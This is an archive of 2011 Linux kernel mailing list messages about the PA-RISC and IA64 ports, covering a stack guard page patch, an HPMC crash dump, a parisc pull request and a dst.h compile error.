	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 4B64498059;
	Mon, 16 May 2011 00:18:25 +0200 (CEST)
In-Reply-To: <alpine.DEB.2.00.1105100025300.13325@artax.karlin.mff.cuni.cz>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21660 gmane.linux.kernel:1140335 gmane.linux.ports.parisc:3732
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21660>

On Tue, 10 May 2011, Mikulas Patocka wrote:

> On Mon, 9 May 2011, Linus Torvalds wrote:
> 
> > On Mon, May 9, 2011 at 8:57 AM, Linus Torvalds
> > <torvalds@linux-foundation.org> wrote:
> > >
> > > Hmm. One thing that strikes me is this problem also implies that the
> > > /proc/self/maps file is wrong for the GROWSUP case, isn't it?
> > >
> > > So I think we should not just apply your lock fix, but then *also*
> > > apply something like this:
> > 
> > Actually, I think we might be better off with something like this.
> > 
> > It makes a few more changes:
> > 
> >  - move the stack guard page checking in __get_user_pages() into the
> > rare case (ie we didn't find a page), since that's the only case we
> > care about (the thing about the guard page is that don't want to call
> > "handle_mm_fault()"). As a result, it's off any path where we can
> > possibly care about performance, so we might as well have a nice
> > helper function for both the grow-up and grow-down cases, instead of
> > trying to be clever and only look at the grow-down case for the first
> > page in the vma like you did in your patch.
> > 
> >    End result: simpler, more straightforward code.
> > 
> >  - Move the growsup/down helper functions to <linux/mm.h>, since the
> > /proc code really wants to use them too. That means that the
> > "vma_stack_continue()" function (which now got split up into two
> > cases, for the up/down cases) is now entirely just an internal helper
> > function - nobody else uses it, and the real interface are the
> > "stack_guard_page_xyz()"  functions. Renamed to be simpler.
> > 
> >  - changed that naming of those stack_guard_page functions to use
> > _start and _end instead of growsup/growsdown, since it actually takes
> > the start or the end of the page as the argument (to match the
> > semantics of the afore-mentioned helpers)
> > 
> >  - and finally, make /proc/<pid>/maps use these helpers for both the
> > up/down case, so now /proc/self/maps should work well for the growsup
> > case too.
> > 
> > Hmm?
> > 
> > The only oddish case is IA64 that actually has a stack that grows
> > *both* up and down. That means that I could make up a stack mapping
> > that has a single virtual page in it, that is both the start *and* the
> > end page. Now /proc/self/maps would actually show such a mapping with
> > "negative" size. That's interesting.
> > 
> > It would be easy enough to have a "if (end < start) end = start" there
> > for that case, but maybe it's actually interesting information.
> > 
> > Regardless, I'd like to hear whether this patch really does work on
> > PA-RISC and especially IA64. I think those are the only cases that
> > have a GROWSUP stack. And the IA64 case that supports both is the most
> > interesting, everybody else does just one or the other.
> > 
> >                     Linus
> 
> I will test it after a week, now I'm traveling away.
> 
> Mikulas

Hi

I tested 2.6.39-rc7 in on PA-RISC and confirm that it works.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing Linux 2.6.39-rc's on rp3440
Date: Mon, 16 May 2011 19:44:50 -0400
Organization: nrc.ca
Lines: 74
Approved: news@gmane.org
Message-ID: <20110516234450.GA19484@hiauly1.hia.nrc.ca>
References: <20110514173357.GA8138@hiauly1.hia.nrc.ca> <20110515151820.GA12449@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1305589499 31689 80.91.229.12 (16 May 2011 23:44:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 16 May 2011 23:44:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 17 01:44:55 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QM7T4-0007Y3-Bo
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 May 2011 01:44:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751862Ab1EPXox (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 May 2011 19:44:53 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2461 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751052Ab1EPXow (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 May 2011 19:44:52 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 621454DF4; Mon, 16 May 2011 19:44:51 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20110515151820.GA12449@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3733
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3733>

I noticed one further thing about these hpmcs.  There seems to be
a relationship between the exception address recorded in cr21 and
the address used in the faulting instruction.  I have seen this in
at least four hpmcs, including the lba_pat_out8 one posted previously
to the list.  Here is one from yesterday:

-----------------  Processor 1 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun May  15 18:52:36 GMT 2011    (20:11:05:15:18:52:36)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x00000000403140c0
       0x57000f7300e00000 0x8040004000000000
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0436fc0


General Registers 0 - 31
00-03  0000000000000000  0000000040622080  00000000403189b0  00000000405c64b0
04-07  0000000040614080  0000000000000000  00000000404e8100  000000007f1048d0
08-11  0000000000000001  0000000000000100  000000007f0b1020  0000000000200200
12-15  000000004062e880  0000000040622080  000000007f0b1420  000000007f0b1820
16-19  000000007f0b1c20  0000000000000001  0000000040622080  000000007f1047f8
20-23  ffe0000000000000  ffffffffffffffff  000000004058d110  8000000000000000
24-27  0000000100028109  0000000000000001  00000000405c64b0  0000000040614080
28-31  0000000004082001  000000007f104970  000000007f1049a0  0000000004082000

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000da6  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  000000d398385ff0  0000000000000000  00000000403140c0  000000000f80001c
20-23  00000000a607ffd0  0000000014082001  000000ff0804ff0f  0000000000000000
24-27  0000000000573000  000000003c11e000  ffffffffffffffff  0000000040002f80
28-31  0000000040002140  ffffffffffffffff  000000007f104000  ffffffffffffffff

Space Registers 0 - 7
00-03  0000000000369800  0000000000000000  0000000000000000  0000000000369800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000403140c4

Processor 1 was executing ldb in mem_serial_in:

00000000403140a8 <mem_serial_in>:
    403140a8:   43 5c 00 a2     ldb 51(r26),ret0
    403140ac:   53 5f 00 20     ldd 10(r26),r31
    403140b0:   01 7c 18 c0     mtsarcm ret0
    403140b4:   d7 99 00 00     depw,z r25,sar,32,ret0
    403140b8:   db 9c 0f e0     extrd,s ret0,63,32,ret0
    403140bc:   0b 9f 0a 1c     add,l r31,ret0,ret0
=>  403140c0:   0f 80 00 1c     ldb r0(ret0),ret0
    403140c4:   e8 40 d0 00     bve (rp)
    403140c8:   db 9c 0b f8     extrd,u ret0,63,8,ret0
    403140cc:   00 00 00 00     break 0,0

Note the address in $ret0 and the value in $cr21.  I'm thinking
some form of cache aliasing may be the cause.  The fault appears
related to an io space access.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for the 2.6.38 merge window
Date: Sun, 22 May 2011 11:07:25 +0400
Lines: 45
Approved: news@gmane.org
Message-ID: <1306048045.4092.3.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1306048060 5283 80.91.229.12 (22 May 2011 07:07:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 07:07:40 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 22 09:07:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QO2lC-0008RQ-GB
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 May 2011 09:07:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884Ab1EVHHd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 May 2011 03:07:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46754 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751855Ab1EVHHd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 May 2011 03:07:33 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D34108EE0E2;
	Sun, 22 May 2011 00:07:30 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id HsYxdAMUNcKg; Sun, 22 May 2011 00:07:30 -0700 (PDT)
Original-Received: from [10.1.1.73] (unknown [93.191.19.5])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 698138EE0D2;
	Sun, 22 May 2011 00:07:29 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3734 gmane.linux.kernel:1143807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3734>

There are is one major fix in this: hopefully a final end to some of the
segfault issues on the platform caused by aggressive icache speculation.
Also, all of the currently missing syscalls on the platform are wired up

The patch is available here:

master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-linus

The short changelog is:

James Bottomley (6):
      [PARISC] wire up syncfs syscall
      [PARISC] wire up the fhandle syscalls
      [PARISC] wire up clock_adjtime syscall
      [PARISC] wire up fanotify syscalls
      [PARISC] prevent speculative re-read on cache flush
      [PARISC] only make executable areas executable

Meelis Roos (1):
      [PARISC] fix pacache .size with new binutils

And the diffstat:

 arch/parisc/include/asm/cacheflush.h |    5 +-
 arch/parisc/include/asm/pgtable.h    |    9 +-
 arch/parisc/include/asm/unistd.h     |    8 +-
 arch/parisc/kernel/cache.c           |   13 ++-
 arch/parisc/kernel/entry.S           |    3 +
 arch/parisc/kernel/head.S            |    5 +-
 arch/parisc/kernel/module.c          |   10 ++-
 arch/parisc/kernel/pacache.S         |    6 +-
 arch/parisc/kernel/sys_parisc32.c    |    8 +
 arch/parisc/kernel/syscall_table.S   |    6 +
 arch/parisc/kernel/vmlinux.lds.S     |    1 +
 arch/parisc/mm/init.c                |  260 +++++++++++++++++++---------------
 12 files changed, 205 insertions(+), 129 deletions(-)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable
Subject: PA-RISC: compile error in include/net/dst.h
Date: Sun, 22 May 2011 10:15:19 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <2612811.b2htuyZy9x@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2353673.HFIKzf23yx"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1306052160 23409 80.91.229.12 (22 May 2011 08:16:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 08:16:00 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>, stable@kernel.org
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 22 10:15:56 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QO3pM-0002zS-15
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 May 2011 10:15:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752775Ab1EVIPm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 May 2011 04:15:42 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41524 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752450Ab1EVIPe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 May 2011 04:15:34 -0400
Original-Received: (qmail 14113 invoked from network); 22 May 2011 08:15:30 -0000
Original-Received: from mnhm-590c36c0.pool.mediaways.net ([::ffff:89.12.54.192] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sun, 22 May 2011 10:15:30 +0200
User-Agent: KMail/4.6 beta5 (Linux/2.6.37-12-desktop; KDE/4.6.3; i686; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3735 gmane.linux.kernel:1143817 gmane.linux.kernel.stable:11391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3735>


--nextPart2353673.HFIKzf23yx
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

                 from include/net/ipv6.h:16,
                 from include/linux/sunrpc/clnt.h:25,
                 from include/linux/nfs_fs.h:50,
                 from init/do_mounts.c:20:
include/net/dst.h: In function 'dst_hold':
include/net/dst.h:238:2: error: size of unnamed array is negative
In file included from include/linux/nfs_fs.h:59:0,
                 from init/do_mounts.c:20:
include/linux/mempool.h: In function 'mempool_create_kmalloc_pool':
include/linux/mempool.h:58:10: warning: cast to pointer from integer of 
different size

This is both in 2.6.38.6 and 2.6.39, but is not in 2.6.38.4 when compiling for 
my C8000.

pioneer src #  hppa64-unknown-linux-gnu-gcc --version
hppa64-unknown-linux-gnu-gcc (Gentoo 4.5.2 p1.1) 4.5.2

Greetings,

Eike
--nextPart2353673.HFIKzf23yx
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3Yxh4ACgkQXKSJPmm5/E6F1wCfdSZOu5ooYpMwgMhXpkeTT5Rk
qVUAn0+WeORQaglK0soXo7T61Cyrg2uU
=ur5h
-----END PGP SIGNATURE-----

--nextPart2353673.HFIKzf23yx--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WANG Cong <xiyou.wangcong@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.network
Subject: Re: PA-RISC: compile error in include/net/dst.h
Date: Sun, 22 May 2011 14:13:58 +0000 (UTC)
Lines: 31
Approved: news@gmane.org
Message-ID: <irb5n6$vn3$1@dough.gmane.org>
References: <2612811.b2htuyZy9x@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1306073676 32674 80.91.229.12 (22 May 2011 14:14:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 14:14:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, stable@linux.kernel.org,
	netdev@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 22 16:14:31 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QO9QN-0006eU-61
	for glk-linux-kernel-3@lo.gmane.org; Sun, 22 May 2011 16:14:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755284Ab1EVOOU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 22 May 2011 10:14:20 -0400
Original-Received: from lo.gmane.org ([80.91.229.12]:39985 "EHLO lo.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754479Ab1EVOOO (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 22 May 2011 10:14:14 -0400
Original-Received: from list by lo.gmane.org with local (Exim 4.69)
	(envelope-from <glk-linux-kernel-3@m.gmane.org>)
	id 1QO9Q4-0006WZ-Dn
	for linux-kernel@vger.kernel.org; Sun, 22 May 2011 16:14:12 +0200
Original-Received: from 123.124.21.91 ([123.124.21.91])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-kernel@vger.kernel.org>; Sun, 22 May 2011 16:14:12 +0200
Original-Received: from xiyou.wangcong by 123.124.21.91 with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-kernel@vger.kernel.org>; Sun, 22 May 2011 16:14:12 +0200
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 30
Original-X-Complaints-To: usenet@dough.gmane.org
X-Gmane-NNTP-Posting-Host: 123.124.21.91
User-Agent: Pan/0.133 (House of Butterflies)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1143861 gmane.linux.ports.parisc:3736 gmane.linux.kernel.stable:11392 gmane.linux.network:196428
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1143861>

(Cc netdev as well)

On Sun, 22 May 2011 10:15:19 +0200, Rolf Eike Beer wrote:

> from include/net/ipv6.h:16,
>                  from include/linux/sunrpc/clnt.h:25,
>                  from include/linux/nfs_fs.h:50,
>                  from init/do_mounts.c:20:
> include/net/dst.h: In function 'dst_hold': include/net/dst.h:238:2:
> error: size of unnamed array is negative In file included from
> include/linux/nfs_fs.h:59:0,
>                  from init/do_mounts.c:20:


Seems someone touched struct dst_entry...

> include/linux/mempool.h: In function 'mempool_create_kmalloc_pool':
> include/linux/mempool.h:58:10: warning: cast to pointer from integer of
> different size
> 
> This is both in 2.6.38.6 and 2.6.39, but is not in 2.6.38.4 when
> compiling for my C8000.
> 
> pioneer src #  hppa64-unknown-linux-gnu-gcc --version
> hppa64-unknown-linux-gnu-gcc (Gentoo 4.5.2 p1.1) 4.5.2
> 
> Greetings,
> 
> Eike



From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [stable] PA-RISC: compile error in include/net/dst.h
Date: Sun, 22 May 2011 07:32:22 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20110522143222.GB14556@kroah.com>
References: <2612811.b2htuyZy9x@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306074717 5553 80.91.229.12 (22 May 2011 14:31:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 14:31:57 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>, stable@kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 22 16:31:53 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QO9hA-0006wk-PD
	for glk-linux-kernel-3@lo.gmane.org; Sun, 22 May 2011 16:31:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755556Ab1EVObo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 22 May 2011 10:31:44 -0400
Original-Received: from out3.smtp.messagingengine.com ([66.111.4.27]:55566 "EHLO
	out3.smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755133Ab1EVObg (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 22 May 2011 10:31:36 -0400
Original-Received: from compute5.internal (compute5.nyi.mail.srv.osa [10.202.2.45])
	by gateway1.messagingengine.com (Postfix) with ESMTP id 92EF420391;
	Sun, 22 May 2011 10:31:35 -0400 (EDT)
Original-Received: from frontend2.messagingengine.com ([10.202.2.161])
  by compute5.internal (MEProxy); Sun, 22 May 2011 10:31:35 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=messagingengine.com; h=date:from:to:cc:subject:message-id:references:mime-version:content-type:in-reply-to; s=smtpout; bh=OpilnByH0lxnF6teOwn52sCkTyA=; b=e7Tq0og/dfU0giinY3yJE8cil16ZyvIQjt8ly6e2pUHGzUXCcBwawGqOZUwMI8vRPLwEhViJe38/glY4wBrxGe7K2gSnDtqyDPcCaigJ4HTIhz8l05ZkcOMANuXGQgxthILAaKVPE7IjMfntwwRf0PVMCkI2d7/sdm9K+d+o2t0=
X-Sasl-enc: 3oLTXHhH0oCxrT61O3N+wAR+ohKrg8LUG1ikfjYkQDKF 1306074695
Original-Received: from localhost (c-76-121-69-168.hsd1.wa.comcast.net [76.121.69.168])
	by mail.messagingengine.com (Postfix) with ESMTPSA id 0E690445DD1;
	Sun, 22 May 2011 10:31:34 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <2612811.b2htuyZy9x@donald.sf-tec.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1143865 gmane.linux.ports.parisc:3737 gmane.linux.kernel.stable:11393
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1143865>

On Sun, May 22, 2011 at 10:15:19AM +0200, Rolf Eike Beer wrote:
>                  from include/net/ipv6.h:16,
>                  from include/linux/sunrpc/clnt.h:25,
>                  from include/linux/nfs_fs.h:50,
>                  from init/do_mounts.c:20:
> include/net/dst.h: In function 'dst_hold':
> include/net/dst.h:238:2: error: size of unnamed array is negative
> In file included from include/linux/nfs_fs.h:59:0,
>                  from init/do_mounts.c:20:
> include/linux/mempool.h: In function 'mempool_create_kmalloc_pool':
> include/linux/mempool.h:58:10: warning: cast to pointer from integer of 
> different size
> 
> This is both in 2.6.38.6 and 2.6.39, but is not in 2.6.38.4 when compiling for 
> my C8000.

Could you bisect it down to the patch that causes the problem in
2.6.38.6?

thanks,

greg k-h

From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for the 2.6.38 merge window
Date: Sun, 22 May 2011 13:58:45 -0400
Organization: nrc.ca
Lines: 11
Approved: news@gmane.org
Message-ID: <20110522175845.GA15218@hiauly1.hia.nrc.ca>
References: <1306048045.4092.3.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1306087140 6644 80.91.229.12 (22 May 2011 17:59:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 May 2011 17:59:00 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 22 19:58:56 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QOCvX-00080a-7q
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 May 2011 19:58:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751768Ab1EVR6s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 May 2011 13:58:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2344 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751559Ab1EVR6s (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 May 2011 13:58:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 91F7147E2; Sun, 22 May 2011 13:58:46 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1306048045.4092.3.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3738 gmane.linux.kernel:1143897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3738>

For 2.6.38?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:17 2018
X-Mozilla-Status: 0011
